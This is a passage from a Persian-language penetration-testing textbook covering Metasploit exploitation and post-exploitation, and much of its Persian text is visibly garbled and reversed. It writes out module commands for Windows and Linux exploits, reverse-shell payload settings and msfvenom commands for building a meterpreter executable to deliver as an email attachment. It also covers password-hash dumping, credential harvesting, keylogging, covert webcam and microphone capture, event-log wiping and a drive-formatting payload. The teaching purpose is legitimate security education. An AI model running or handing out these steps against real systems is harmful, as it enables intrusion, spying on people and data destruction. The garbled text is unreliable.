IP به را ما که ،دهد می ارائه را یریمس LHOST به دادن گوش یبرا کوتاه که رساند، می 
 پیتا را exploit سپس است. شما کالی دستگاه IP آدرس ،IP آدرس این .باشد می زبانیم
 دهد. می نشان عمل در را اسکن نیا 13-15 شکل .دیکن
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 CSS Exploit .13-15 کلش

 

 وصدل  آن بده  یشخصد  است منتظر که باشد می سرور وب کی شما کالی ماشین مرحله، نیا در
 بدددده و کددددرده بدددداز را Internet Explorer نظددددر، مددددورد دسددددتگاه در اکنددددون شددددود.

http://10.0.2.20:8080/clickhere دیبرو. 
 مشاهده خود Kali دستگاه در را یتیفعال انیجر باشد، پذیری آسیب یدارا هدف ماشین آن اگر
 بود. خواهد کنید می مشاهده 13-16 شکل در آنچه هیشب اریبس کرد. دیخواه

 

 
 است. انجام حال در CSS حمله .13-16 شکل
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 :دیکن پیتا صفحه، در ها امیپ انیجر توقف از پس
sessions –l 

 نیا ریغ در .دیدار ای جلسه ،کنید می مشاهده یعدد اگر کند. می ستیل را یفعل جلسات که 
 با را 3) دیکن امتحان را sessions -i 3 ،دیدار جلسه کی اگر .است هبود ناموفق حمله صورت،
 است. شده داده نشان 13-17 شکل در که طور همان (دیکن نیگزیجا خود جلسه تعداد
 فیط وردم در فصل نیا در بعداً خوب، د؟یده انجام دیتوان می یکار چه ،دیدار جلسه که حالا

 حال در اما کرد، میخواه بحث دیده انجام دیتوان می که یپست های اکسپلویت از ای گسترده
 :کنید تایپ .دیا کرده افتیدر را اتصال کی شما ایآ که یمکن می دییتأ فقط حاضر،

sysinfo 

 سپس کرد. دیخواه افتیدر خود به متصل کلاینت یا یمشتر یبرا را یستمیس اطلاعات شما
 :دیکن پیتا

getuid 

 دستورات جینتا 13-18 شکل کرد. دیخواه افتیدر یمشتر یبرا را نیماش و کاربر نام شما
sysinfo و getuid دهد. می نشان را 

 

 
 (Sessions) جلسات .13-17 شکل
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 هدف. وتریکامپ روی .13-18 شکل

 اگر کردم. یگذارنام ”target-PC“ را هدف وتریکامپ ها، مثال نیا یبرا که دیباش داشته توجه
 :دیکن پیتا ،دیدار اریاخت در را یمشتر کنترل که دیکن دییتأ دیخواه می واقعاً

shell 

 دیده صیتشخ دیتوان می داشت. دیخواه 7 ندوزیو کامپیوتر روی ندوزیو Shell کی اکنون
 در که طور همان .باشد می ندوزیو سبک به (command prompt) فرمان خط کی نیا رایز

 .دیکن حرکت (client) مشتری قیطر از دیتوان می است شده داده نشان 13-19 شکل
 اگر .دیگردازب metprepter Metasploit فرمان خط به تا دیکن پیتا را exit کار، انیپا از پس
 ،دیباش مراقب اما .دیکن پیتا را exit دوباره ،دیگردازب Metasploit یاصل دستور به دیخواه می
 که را یبعد یکارها شد. دیخواه خارج Metasploit از دیکن پیتا را آن سوم بار اگر رایز
 اجازه ابتدا کرد. میخواه یبررس فصل نیا ادامه در دیده انجام برداری بهره از پس دیتوان می
 .میکن یبررس را گرید مورد چند دیده

 
 هدف. وتریکامپ در شیمایپ .13-19 شکل
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  (File Format Exploit) لیفا فرمت برداری بهره

 به را اکسپلویت نیآخر که آنجا از است. یقبل اکسپلویت مشابه تفاوت یاندک با اکسپلویت نیا
 پرداخت. میخواه ها تفاوت به فقط نجایا در ،میکرد یبررس کامل طور

use exploit/windows/fileformat/ms15_100_mcl_exe 

set payload windows/meterpreter/reverse_tcp 

set lhost YOURKALIIP 

set lport 443 

set srvhost yourIP 

set srvport differentport 

exploit 

 دیخواه میتنظ را دادن گوش حال در پورت و دادن گوش حال در زبانیم کی شما ،نیبنابرا
 متفاوت سرور پورت اما بود، خواهد دادن گوش حال در زبانیم همان سرور زبانیم کرد.
 است. شده داده نشان 13-20 شکل در که رطو همان بود، خواهد

 در را ها آن عو  در کند. نمی باز را مرورگر نظر مورد دستگاه است. متفاوت یکم مورد نیا
start> کنند می پیتاIP مورد: نیا در کنند. می اجرا را ریمس و 

\\10.0.2.20\hyzgu\msf.exe  

 تا کند می وادار را end user یینها کاربر کی چگونه که دیبپرس خود از است ممکن اکنون
 ییجا همان درواقع کند؟ پیتا را یزیچ <start اجرا یمنو در ای کند، کیکل link یرو
 از یاریبس شد، ذکر قبل فصل در که طور همان شود. می وارد یاجتماع یمهندس که باشد می

 دیباش داشته توجه نیهمچن .است (social engineering) یاجتماع یمهندس تینها در حملات
 را ها job شهیهم .دیبگذار اجرا حال در را ها سیسرو یبرخ دارد امکان exploit هر از پس که
 از قبل را (Job) کار آن سپس ،ریخ ای هستند اجرا حال در هنوز ایآ کنید مشاهده تا دیکن اجرا
 .ببرید بین از ی،بعد exploit به رفتن
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 .لیفا قالب از exploit .13-20 شکل

 

 : (Remote Desktop Exploit)دور راه از دسکتاپ برداری بهره

 در اکسپلویت نیا ولی .باشد می اسکن نوعی تاحدودی ،میمستق برداری بهره یجا به مورد نیا
 دور راه از دسکتاپ نقص کی یدارا هدف ایآ که باشد می موضوع این کردن چک حال
 آن وارد (Remote Desktop)دور راه از دسکتاپ با دهد اجازه شما به که باشد می خاص
 .دیشو دستگاه

use auxiliary/scanner/rdp/ms12_020_check 
set RHOSTS YOURTARGETIP 

set RPORT 3389 

set THREADS 1 
 .دیکن مشاهده 13-21 شکل در را جینتا دیتوان یم

 
 RDP Exploit .13-21 شکل
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 :شتریب های اکسپلویت
 با شما یمعرف فصل نیا هدف دارد. وجود یاحتمال تاکسپلوی هزاران که است یهیبد

Metasploit ،میخواه گرید مبحث چند به مختصراً ،جانیا در اما آن. بر تسلط داشتن نه است 
 شما یبرا دیبا مکانیسمهایشان ،دیا کرده لعهمطا را یقبل های اکسپلویت واقعاً اگر پرداخت.
 باشد. واضح کاملاً

Windows XP DCOM Attack 

 با XP ندوزیو برخورد نحوه شامل که کند می حمله XP ندوزیو در ینقص به اکسپلویت نیا
 است. Model (DCOM) (Distributed Component Object) شده عیتوز مولفه یش مدل

 نیا ندارد. یزیچ هر یرو بر کاربر کیکل به یازین اکسپلویت نیا که کرد دیخواه مشاهده
 با را IP یآدرسها ،شهیهم مثل شود. نیماش وارد یرحم یب با دارد یسع فقط اکسپلویت
 :دیکن نیگزیجا اید کرده میتنظ که ییآدرسها

use exploit/windows/dcerpc/ms03_026_dcom 

set RHOST 192.168.1.177 

set PAYLOAD generic/shell_reverse_tcp 

set LHOST 192.168.1.234 

exploit 
 

 Icon DLL Loader. 

 تنها این البته .شود هدایت خاص IP آدرس یک به تا دارد هدف ماشین به نیاز یتاکسپلو این
 :باشد خاصی پذیری آسیب دارای نظر مورد ماشین که کرد خواهد کار صورتی در

use exploit/windows/browser/ms10_046_shortcut_icon_ 

dllloader. 

set payload windows/meterpreter/reverse_tcp 

set SRVHOST YOURKALIIP 

set LHOST YOURKALIIP 

exploit 
 

  (Common Error) رایج خطای

  :باشد می صورت بدین کرد خواهید مشاهده که خطایی ترین رایج
exploit completed, but no session was created 
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 رخ " no session was created نشده ایجاد ای جلسه " پیام ،بیفتد اتفاق زیر موارد از یکی اگر
 :دهد می
 مسئله .کند نمی کار اید کرده انتخاب که هدفی برابر در کردید استفاده که اکسپلویتی 
 اکسپلویت کد در مشکلی ،است دیگری نسخه برای اکسپلویت که باشد صورت بدین تواند می

 .دارد وجود مشکلی هدف تنظیمات در یا دارد وجود
 از فادهاست برای کردید استفاده شما که اکسپلویتی payload جلسه که است شده تنظیم 

 آیا اینکه دانستن برای راهی هیچ (Framework) چارچوب ،حالت این در .کند نمی ایجاد تعاملی
 .کند نمی دریافت هدف از اتصالی ،موفقیت صورت در زیرا ،ندارد ،داشته کارایی اکسپلویتی

 

  (Post Exploits) اکسپلویتها ارسال

 دهید اجازه اکنون .دهید انجام کاری دستگاه آن در خواهید می ،قبلی لاتحم به ورود از پس
 از اینها همه ،هدف روی جلسه یک انجام از بعد .کنیم بررسی را دیگر مورد چند

meterpreter shell شوند می اجرا. 
meterpreter shell کی از پس ؟ چیست exploit موفق Meterpreter Shell نیا شما به 

 یکارها د،یا زده هدف ستمیس به که یکامل remote shell تحت دیبتوان تا داد خواهد را امکان
 ارتباط آن به که یستمیس کردن یدستکار یبرا Meterpreter Shell .دیده انجام را یمختلف
 Meterpreter Shell معمولا دیدار که یهدف نوع به بسته نیبنابرا است یعال د،یدار موتیر

 .شود می داده حیترج میمستق remote terminal shell کی به نسبت
Meterpreter شانیاجرا با که گذارد می اریاخت در را هایی یا مولفه و دستورات از ای مجموعه 

 دارند وجود یدستورات مثال یبرا .بدهد ما هب یتیامن های تست در را یبزرگ کمک توانند می
 یآور جمع ستمیس از را مرتبط ماتیتنظ و داده و آورده دست به را پسورد های هش که
 زین یسرگرم یابزارها یبرخ ،خشن! و یجد ظاهر به دستورات نیا کنار رد نیهمچن .کنند می

 اند. گنجانده Meterpreter مجموعه در را خود که دارند وجود
  (Get Logged-on Users) سیستم به ورود کاربران دریافت
 :است شده هدف سیستم وارد کسی چه که فتگ خواهد شما به و ،باشد می ساده بسیار

run post/windows/gather/enum_logged_on_users 

 .کنید مشاهده 13-22 شکل در را نتایج توانید می
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 سیستم به ورود کاربران .13-22 شکل

 

  (Check VM) مجازی ماشین بررسی

 متداول، موارد از کیی اما .کرد استفاده مختلفی اهداف برای توان می را مجازی های ماشین
 تمایل دارد احتمال ،شوید می ماشین وارد اگر بنابراین .باشد می honey pot عنوان به استفاده
 .باشد می (VM) مجازی ماشین دستگاه این آیا که که باشید داشته
 :کنید استفاده زیر صورت به فقط 

run post/windows/gather/checkvm 

 .کنید مشاهده 13-23 شکل در را نتایج توانید می

 
 .VM بررسی .13-23 شکل
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 Enumerate Applications)) کاربردی های برنامه شمارش

 این اکسپلویت این .دارد وجود هدف ماشین در هایی اپلیکیشن چه احتمالاً که است ذکر شایان
 :دهد می انجام شما برای را کار

run post/windows/gather/enum_applications 

 .کنید مشاهده 13-24 شکل در را نتایج توانید می

 
 .ها اپلیکیشن برشمردن .13-24 شکل

 

  (Going Deeper into the Target) هدف داخل رفتن تر عمیق

 ،کنید اجرا را )ارسالی( پستی های اکسپلویت و ،کنید اکسپلویت هدف یک از توانید می اگر
 13-25 شکل در که طور همان .ویدبر هدف از جلوتر کمی باشید داشته تمایل دارد احتمال
 اقدام توانید می حاضر حال در .meterpreter فرمان در ps بردن بکار با ،است شده داده نشان
 :با کنید فرایند هر به مهاجرت به

migrate processid 

processid فرایند واقعی شناسه با را (actual process ID) که کنید، جایگزین هدف فرایند از 
 با توانید می ،موفقیت عدم صورت در .بخورد شکست است ممکن یا ،بوده کارساز است ممکن
 :آورید دست به را بالاتری امتیازات دستورات این

use priv 

getsystem 
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 .run ps با اجرا حال در فرایندهای کشف .13-25 شکل
 

 هدیچ  کده  بدانیدد  بایدد  ،تابک این در نکته این به توجه با .کنند کار که کنند نمی تضمین اینها اما
 را هددف  ماشین Metasploit با بخواهید است ممکن همچنین .باشد نمی شده تضمین واقعاً چیز

 :کنید جاسوسی
webcam_list 

 کنید: تایپ و کرده انتخاب را دوربین سپس
webcam_list 

 فادهاسدت  میکروفدون  از ضبط برای ،اید شده خسته هدف ماشین کم وب با عکس گرفتن از اگر
 :کنید

record_mic 

 record_mic است شده داده نشان 13-26 شکل در. 

 
 .record_mic از استفاده با میکروفون با ضبط .13-26 شکل



 Metasploit  365ای بر  : مقدمه13فصل 

 

webcam_snap شود می استفاده آن از یواقع نفوذ یتستها در مرتباً که است یموارد از یکی. 
webcam_snap ًنشان را بهتر تیامن به ازین و کند نمی وارد هدف دستگاه به یبیآس کاملا 

 پشت در ها آن از یریتصو شامل تاننفوذ تست گزارش یوقت افراد از یاریبس واقع، در دهد. می
 عبور هیاول ناآرامی از آنکه از پس معمولاً کنند. می ناآرامی و یناراحت احساس ،باشد یزشانم

  .گرفت خواهند تر یجد اریبس را تیامن کردند،
 هیچ ،البته .کنید امتحان توانید می که دارد وجود پست از دیگر اکسپلویت چندین همچنین
 :کنید امتحان را موارد این بخواهید است ممکن اما ،کند کار که کند نمی تضمین چیزی

run post / windows / Collect / usb_history: دستگاههای تمام کار این با USB به که 
 .آید می دست به اند شده متصل دستگاه

 run post / windows / Collect / hashdump: بین از ویندوز عبور رمزهای هش کار این با 
 اجرا (rainbow tables) کمان رنگین های جدول طریق از را ها آن توانید می سپس .رود می
 .کنید

run post / multi / recon / local_exploit_suggester:برداری بهره جهت پشنهادات محل ا 
 دهد. می نشان را
 : use post / windows / Collect / enum_نیا در موجود های  )پچ( وصله که یابید می در 

 چه و باشد دیمف است ممکن یگرید موارد چه که دهد می اطلاع شما وبه،ستیچ دستگاه
  .باشد نمی مؤثر یعوامل
 run post / windows / Collect / credentials / credential_collector: توان می کار این با 

 .آورد دست به را محلی اعتبارات
 یک شما ،فصل این اتمام از پس .دهد می پوشش را Metasploit ضروری موارد فصل این
 را شما فصل این که شوم می متذکر هم باز .داشت خواهید Metasploit مورد در عملی دانش

 نوشته Metasploit مورد در کاملی ایکتابه ،حقیقت در .کند نمی Metasploit در متخصص
 مطالب و کرده صرف زمان اگر اما .دهد نمی پوشش را موارد همه ها آن از یک هیچ و اند شده
 .یافت خواهید خوبی کارایی دانش ،شوید مسلط آن بر واقعاً و کنید مطالعه دقت با را فصل این
 خاص های تکنیک و ها لویتاکسپ یادگیری در شما به که دارد وجود وب در زیادی منابع
 با کردن کار زمینه در بنیادی دانش یک شما که است این ما هدف .کند می کمک

Metasploit کنید کسب. 
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 فصل اهداف

 :بود دیخواه قادر فصل، نیا خواندن از پس
 دهید. انجام را اکسپلویت از پس اضافی دستورات

 کنید. دهاستفا msfvenom از 
 U0073e جدید های اکسپلویت Metasploit 
 .شد داده آموزش Metasploit اصول از استفاده نحوه ،"Metasploit با آشنایی" ،13 فصل در
 این در .دارید تسلط فنون آن بر کاملاً که کنید حاصل اطمینان باید فصل این به اقدام از قبل
 .کرد خواهید اضافه خود Metasploit مهارتهای به شما فصل

Meterpreter  Post Exploits و 
 نیاز موفق تیاکسپلو یک به شما ابتدا در ،پردازد می ها تیاکسپلو به بخش این که آنجا از

  .داشت خواهید
 از windows / browser / ms11_003_ie_css_import / اکسپلویت از من ،منظور این برای
 هر از توانید می شما .کردم استفاده 7 ویندوز عامل سیستم با کامپیوتری مقابل در 13 فصل

 (،Post Exploits) پست از تیاکسپلو به اقدام از قبل .کنید استفاده خواهید می که اکسپلویتی
 .دارید آمیز موفقیت جلسه یک که کنید حاصل اطمینان

 
ARP 
 رکامپیوت مورد در اطلاعات کسب برای روش چندین ،جلسه یک ایجاد از پس ،13 فصل در

 در که باشد می arp دستور به مربوط توجه جالب اطلاعات از یکی .کردیم بررسی را نظر مورد
 .است شده داده نشان 14-1 شکل

 
 .ARP .14-1 شکل
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 این .گوید می شما به را نظر مورد کامپیوتر با مرتبط MAC آدرس و IP آدرس دستور این
 خواهد مفید هدف شبکه در اههادستگ سایر به چرخش جهت بعدی تلاشهای برای اطلاعات

 .بود
 

NETSTAT 
netstat شکل در باشدکه می ماشین یک در شبکه اتصالات کشف برای متداول دستور یک 

 .است شده داده نشان 2-14

 
 .Netstat .14-2 شکل

 

 که را خود کالی ماشین همچنین .دهد نشان شما به را اطراف های کامپیوتر تواند دستورمی این
 که کنید مشاهده است ممکن ،مهمتر همه از .دهد می نشان شما به را باشد می تصلم هدف به
 با ارتباط برقراری حال در اید کرده اکسپلویت( برداری) بهره آن از اخیراً شما که دستگاهی آیا

 .است IDS یا SIEM مانند امنیتی های دستگاه از برخی
 

PS 
 با .دهد می نشان شما به را نظر مورد دستگاه ویر بر اجرا حال در فرایندهای ps دستور اجرای
 مهاجرت ها فرایند آن به بتوانید تا دهد می ارائه شما به را (process IDفرایندها) شناسه کار این
 تان نفوذ است ممکن که دهد نشان را اجرا حال در امنیتی های سرویس تواند می همچنین .کنید
 .دهد می نشان را ps دستور از ادهاستف 14-3 شکل .باشد کرده شناسایی را
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 ps .14-3 شکل

 

  (Navigation) ناوبری

 ls اجرای ،مراحل اولین از یکی .باشند می شما دسترس در نیز لینوکس ناوبری رایج دستورات
 است ممکن سپس .دارد وجود اید شده متصل آن به که (Folder) ای پوشه در آنچه دیدن برای
 .دهد می نشان را مرحله دو هر 14-4 شکل .دهید تغییر را ها شهپو که باشید داشته تمایل

 

Download و Upload 

 یا download خواهید می که را آنچه هر توانید می ،مشخص دایرکتوری یک به رفتن از پس
upload قدرتمند های جنبه از یکی نظرم، به .کنید Metasploit تست نظر نقطه از .باشد می 
 حضور آنجا که کند اثبات تواند می دسکتاپ روی txt یا JPG فایل ودآپل سادگی به ،نفوذ
 نوع هر و دانلودکند بخواهد که را فایلی هر تواند می وی ،مخرب مهاجم دیدگاه از .دارید
 دستگاه در Documents پوشه به من ،14-5 شکل در .کند آپلود خواهد می که را افزاری نرم
 .ام کرده دانلود را secretstuff.txt نام به را فایلی و رفته نظر مورد
 ،ندارد وجود secretstuff.txt فایل در مخفی چیز هیچ نمایشی نسخة این در که است بدیهی
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 فایلی هر و رفته هدف دستگاه به که است افتاده پا پیش چقدر که کنید مشاهده توانید می ولی
 .باشد می راحتی همین به دخواهی می که چیزی هر آپلود .کنید دریافت خواهید می که را

 
 .cd و ls .14-4 شکل

 

 
 .فایل یک دانلود .14-5 شکل
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  (Desktops) دسکتاپ

 دسکتاپ تعداد تعیین قدم اولین .باشید داشته تعامل هدف دسکتاپ با راحتی به توانید می شما
 دچن سیستم یک این اگر که ،برسد نظر به عجیب مسئله یک دارد احتمال .باشد می هدف آن

 :با شمارید می را ها دسکتاپ شما .دارد دسکتاپ یک کاربر هر ،باشد کاربره
Enumdesktops 

 شود می دنبال زیر دستور با این
getdesktop 

 در که طور همان ،باشید داشته تعامل ها آن با خواهید می که هایی دسکتاپ از تعدادی دنبال به
 .است شده داده نشان 14-6 شکل

 
 دسکتاپ با کار .14-6 شکل

 

 فوری عکس گرفتن ،دهید انجام دسکتاپ یک با توانید می که جذابی کارهای از یکی
(snapshot) تایپ را زیر دستور فقط ،است شده داده نشان 14-7 شکل در که طور همان .است 

 :کنید

 
 screenshot .14-7 شکل

 

 .باشد می هدف دسکتاپ از screenshot 14-8 شکل
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 واقعی screenshot .14-8 شکل

 

  (Cameras) ها دوربین

 دوربین دریافت از همیشه دانشجویان ،هستم Metasploit دادن آموزش حال در که هنگامی
 با اینجا در ولی ،است شده ذکر 13 فصل در دستورات این .برند می لذت هدف دستگاه وب

 کامل یاجرا کی هارائ مانند زیچ چیه ،نفوذ تست دیدگاه از .است شده آورده بیشتری جزئیات
 دید از .کند نمی منتقل خانه به را تیامن به ازین خود، وب نیدورب توسط شده گرفته عکس با

 .باشد می قدرتمند حمله مسیر یک وب دوربین وضوح به ،مهاجم یک
 کنید تایپ را زیر دستور که است این قدم اولین

webcam_list 

 هر از توانید می سپس .شوند می لیست ها آن ،هدف به متصل وب های دوربین وجود صورت در
 کنید. استفاده یک

webcam_snap 

 یا

webcam_stream 
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 طریدق  از فیلم مستقیم پخش یا webcam_snap با دوربین توسط عکسی ،ندهد رخ خطایی اگر
webcam_stream داشت خواهید را. 

 :نیدک امتحان نیز را زیر موارد توانید می ،باشد میکروفون دارای هدف اگر
record_mic 

 عیبدی  هدیچ  .خدورد  مدی  شکسدت  یدا  کند می کار یا - است آسان بسیار دستورات این از یک هر
(troubleshooting) یدک  هددف  کده  دارد احتمدال  ،بیفتد کار از دستور یک اگر .ندارد وجود 

 .باشد نشده پیکربندی درستی به که باشد داشته میکروفون یا وب دوربین
 

Key Logger. 

 واقعدی  زمدان  صدورت  بده  کندد  مدی  تایدپ  هدف سیستم در کاربر که را آنچه توانید می نهمچنی
(real time) کنید شروع کار این با شما .کنید ثبت: 

keyscan_start 
 

 
 .Key Logging کلید نگاری واقعه .14-9 شکل

 

 :داد انجام را مورد این در تنوع توان می زیر دستور با
use post/windows/capture/keylog_recorder 

 

 اطلاعات سایر

 این از هرکدام .کنند می دریافت اطلاعات ،هدف ماشین از که دارد وجود دیگر دستور چندین
 :است شده ذکر اینجا در مورد چند .باشد مفید اجرا برای است ممکن دستورات

 run get_application_list : از غیر ،هدف روی شده نصب های اپلیکیشن تمام لیست 
 .شد ذکر 13 فصل در که دهد، می نمایش را عامل سیستم با همراه های رنامهب
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 run post / windows / wlan / wlan_profile: همه برای کامل مشخصات کار این با 
 .ورود رمز جمله از ،دهد می نمایش را شده متصل نظر مورد کامپیوتر سیم بی LAN های شبکه
 Clearev: نظر نقطه از .شود می پاک رویداد گزارش کار این اب .است مهم دستور یک این 

 های لاگ تمام کار این زیرا ،کنید اجتناب امر این از باشد داشته تمایل است ممکن ،نفوذ تست
 .کند می پاک را هدف سیستم به مربوط

 run event_manager –i : به نسبت بهتری انتخاب clearev شما به دستور این .باشد می 
 .کنید برقرار ارتباط رویداد مدیر با دده می امکان

  
Msfvenom 
msfvenom ًاساسا msfpayload و msfencode بتوانید تا کند می ترکیب هم با را payload  ها 

 قدرتمند ابزار یک دستور این .کنید ارسال هدف به را ها آن سپس و کرده کدگذاری را
 در پوسته از واقع در .باشید آشنا Metasploit از بخشی با باید که باشید داشته نظر در و باشد می
 شده داده نشان 14-10 شکل در که طور همان .Metasploit داخل از نه ،شود می استفاده کالی
 .کنید می امتحان را msfvenom -h ابتدا ،است

 
 .msfvenom -h .14-10 شکل

 

 با را موجود های payload تمام توانید می ،است شده داده نشان 14-11 شکل در که طور همان
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 .کنید لیست payload msfvenom -l دستور
- و کند می تعریف را استقرار برای شما نظر مورد payload که ،p- از عبارتند مهم پرچم دو

fفایل یک ؟ کنید مستقر را اجرایی فایل یک خواهید می آیا .کند می مشخص را فرمت که 
PDFفایل ؟یا AVIهستند خوبی های گزینه همه اینها ؟. 
 یک عنوان به را معکوس tcp پوسته خواهید می که کنیم فر  .کنیم نگاه مثال یک به بیایید
 :کنید مستقر اجرایی مورد

windows/meterpreter/reverse_tcp 

 IP آدرس اگر .کنید ارسال هدف به ایمیل پیوست یک عنوان به توانید می را مورد این سپس
 :باشد می صورت بدین شما دستور کل ،باشد 192.168.56.101 شما

msfvenom -p windows/meterpreter/reverse_tcp lhost=192. 

168.56.101 lport=4444 -f ex mypayload.exe 

 هیچ که را پیام این ،حاضر حال در .کنید مشاهده 14-12 شکل در توانید می را اکسپلویت این
 .داشت خواهیم سروکار آن با لحظه یک در طفق ما .بگیرید نادیده است نشده انتخاب معماری

 
 .هدف یک به اجرایی فایل یک ارسال .14-12 شکل

 خواهید را mypayload.exe ،بروید فر  پیش دایرکتوری به Kali ماشین طریق از اگر حال
 .است شده داده نشان 14-13 شکل در که طور همان کرد، مشاهده
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 .mypayload.exe .14-13 شکل
 که است لازم .کنیم می پوشی چشم معماری از ما که کردم اشاره تر لقب مقداری
 ،نکنید انتخاب را یکی اگر .باشد کامپیوتر خاص معماری با متناسب (payloadمحموله)

msfvenom معماری در فر  پیش طور به x86 گرفت. خواهد قرار 
-p payload کند می تعیین دهید تحویل خواهید می که را متااسپلویت. 
 -f کند می تعیین را خروجی فرمت exe، avi، pdf غیره. و 

-e رمزگذار (encoder) کند می نییتع دیکن استفاده دیخواه می که را. 
 -a کند می تعیین هدف برای را معماری (فر  پیش x86 است) . 

 پرچم یک .باشند می ها پرچم کاربردترین پر و مهمترین ولی ،نیستند (flagsها) پرچم تنها اینها
 که را خاصی پلتفرم پرچم، این .است Platform- ایم نکرده استفاده آن از هنوز ما که دیگر
 که دارد وجود پرچم این برای گزینه تعدادی .دهد می قرار هدف کنید حمله آن به خواهید می
 :است شده آورده اینجا در ها آن از مورد چند

.Windows or windows 

. OSX or osx 

. Solaris or solaris 

. BSD or bsd 

.OpenBSD or openbsd 

. Unix or unix 

. Linux or linux 

. Cisco or cisco 

. Android or android 
 همده  کدردن  جمدع  با ،بنابراین .نه یا بنویسید بزرگ را اول حرف توانید می که باشید داشته توجه
 :است هشد انتخاب ها پرچم تمام با ما قبلی مثال اینجا در ،اینها

msfvenom -a x86 --platform Windows -p 

windows/meterpreter/ 

reverse_tcp lhost=192.168.56.101 lport=4444 -f exe -o 

mypayload.exe 

 payload یک حتی یا متااسپلویت های  payload از یک هر ،کلمه واقعی معنای به توانید می
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 .دهید قرار فایل یک در msfvenom از دهاستفا با را خود شخصی های ساخته از سفارشی
 ایمیل های پیوست هنوزهم .دهید تحویل هدف به را آن چگونه که دارد بستگی شما به سپس
 .باشد می کار این انجام برای مؤثر بسیار روش یک
 

 Metasploit بیشتر حملات

 نبدو 7 ویندوز که هدف روی حداقل که کردیم تمرکز حملاتی برروی ما 13 فصل در
 تضمین محیط یک در را شما که بود صورت بدین مفهوم .کنند می کار باشد پک سرویس
 قبلاً احتمالاً ،حال این با کنید. عادت Metasploit از استفاده چگونگی موفقیتتان،به برای شده

 در .نیست واقعی دنیای های سیستم شبیه خیلی و بوده مصنوعی سناریو یک این که اید فهمیده
 تضمین یک هیچ ،حال این با .کرد خواهیم بررسی را مختلف اهداف با مطابق حملات بخش این
 یا یکی فقط و کرد خواهید امتحان را موارد این از یک هر زیاد احتمال به .کنند کار که کنند نمی
 به را شما که ،رسیده فرا آن زمان ،حال این با .داشت خواهید اختیار در کار برای را مورد دو

 .میکن کینزد یواقع یایدن یبیتقر یوهایسنار و Metasploit یریادگی در یبعد مرحله
 

 درایوها همه بندی فرمت

 دهم می هشدار شما به .شود ارائه msfvenom ماژول یک عنوان به است بهتر اکسپلویت این
 با .کنید استفاده نفوذ تست یک در آن از کنم نمی توصیه .باشد می مخرب بسیار مورد این که
 در موجود درایو یبرا یسادگ به ،کرد استفاده تست ماشین یک در آن از توان می ،حال این
 نامش از که طور همان .شود جادیا ها وستیپ طریق از تواند می دیدگی آسیب چقدر خانه

 در که طور همان .است شده طراحی هدف ماشین در درایوها تمام کردن فرمت برای ،پیداست
 .باشد می آسان آن از استفاده ،کنید می مشاهده 14-14 شکل

 
 .کند می فرمت را درایوها همه .14-14 شکل
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 .است دشوار باشید قبیل این از هایی اکسپلویت مراقب باید چقدر دقیقاً اینکه بیان

 Windows Server 2008 R2 به حمله

 اینکه خاطر به ؟ایم پرداخته قدیمی سرور عامل سیستم چنین به ما چرا ،کنید تعجب دارد امکان
 .هستند رایج کاملاً قدیمی های عامل سیستم ،سرورها
 نظر به گرچه ،بگذارد تأثیر Windows Server 2008 R2 روی بر است قرار اکسپلویت این
 ،است شده داده نشان 14-15 شکل در که ،اکسپلویت .دارد مقطعی موفقیت من
 .است exploit / windows / local / ms14_058_track_popup منوی 

 
 R2 2008 سرور ویندوز به حمله .14-15 شکل

 

 مجدد ارجاع شامل که باشد می win32k.sys در پذیری آسیب یک بر مبتنی اکسپلویت این
 برخی تحت و شده استفاده TrackPopupMenu API فراخوانی در .است NULL گر اشاره
 با که کنند می ادعا اکسپلویت این نویسندگان .شود استفاده کد اجرای برای تواند می شرایط
 .است شده اجرا 7 ویندوز همچنین و R2 2008 ویندوز ،SP2 2003 سرور ویندوز در موفقیت
 زیر لینک در توانید می را حمله این مورد در بیشتر جزئیات

https://www.rapid7.com/db/modules/exploit/windows/local/ms14_058_track_p
opup_menu کنید. دریافت 

 

 آفیس طریق از ویندوز به حمله

 یرو بر خاص اکسپلویت نیا ،کند اجرا را 2013 ای 2010 آفیس ویندوز عامل ستمیس اگر



 آموزش اصول و مفاهیم تست نفوذ 380 

 

  .کند می کار 2012 سرور و 2008 سرور ،8 ندوزیو ،ستایو ندوزیو

 لینوکس به حمله

 این .کنید هحمل آن به Metasploit طریق از توانید می که نیست عاملی سیستم تنها ویندوز
 که طور همان .باشد می لینوکس هسته نقص بر مبتنی که کند می حمله نیز لینوکس به اکسپلویت

 استفاده exploit / linux / local / sock_sendpage از ،است شده داده نشان 14-17 شکل در
 ارائه را Metasploitable Linux مجازی ماشین یک متااسپلویت ،تست اهداف برای .کنید
-https://information.rapid7.com/metasploitable لینک از توانید می که دهد می

download.html کنید دانلود رایگان صورت به. 

 
 آفیس طریق از ویندوز به حمله .14-16 شکل
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 .لینوکس به حمله .14-17 شکل

 وب طریق از حمله

 که شود می گفته .کند می ملهح مرورگر در وب صفحات پردازش نحوه به حمله این واقع در
 بوده ویندوز روی بر آن موفقیت بیشترین اگرچه ،کند می کار Macintosh و Linux روی
  از استفاده :است شده داده نشان 14-18 شکل در که ،اکسپلویت .است

.exploit/multi/script/web_delivery 

 
 وب بر مبتنی حمله .14-18 شکل

 

 دیگر لینوکس حمله یک

 مشاهده ویندوز در (shell reverseمعکوس) پوسته دریافت برای حمله چندین 13 صلف در
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 مانند ازاکسپلویتهایی استفاده با .کردید
 linux / x86 / meterpreter / reverse_tcp شده داده نشان 14-19 شکل در که طور همان 

 .دهید انجام لینوکس ماشین در را کار همین توان می ،است
 

 
 Linux Reverse Shell .14-19 شکل

 

 .کند کار خوبی به Metasploitable لینوکس توزیع علیه باید حمله این

Linux Post Exploits. 

 که دارد وجود اکسپلویت مورد چندین ،باشید لینوکس دستگاه به دسترسی به قادر اگر
 :است شده ذکر اینجا در ها آن از برخی .است لینوکس مخصوص

use post / linux / Collect / enum_configs:  را لیندوکس  رایدج  پیکربنددی  هدای  فایدل  همده 
 کند. می دریافت

use post / linux / Collect / enum_system: کند. می دریافت را سیستم اطلاعات 
enum_users_history: کند. می دریافت را فعلی کاربر سابقه 

 

 خلاصه

 انجام توانید می که شد بررسی را اکسپلویت از پس بیشتری های اسکن و حملات ،فصل این در
 نیز فصل این و داد قرار اختیارتان در را هدف به دسترسی برای اساسی ابزارهای 13 فصل .دهید
 فصل این در .یافت گسترش ،دهید انجام آن به دسترسی از پس توانید می که کارهایی مورد در

 ها تکنیک این .شد بررسی msfvenom اب ها  payload ایجاد برای اساسی های تکنیک همچنین
 .کنید ایجاد Metasploit های اکسپلویت ارائه برای را هایی payload تا دهد می امکان شما به

 فصل این ،13 فصل در موجود مطالب با همراه .کردیم بررسی را جدید حمله چندین ،سرانجام
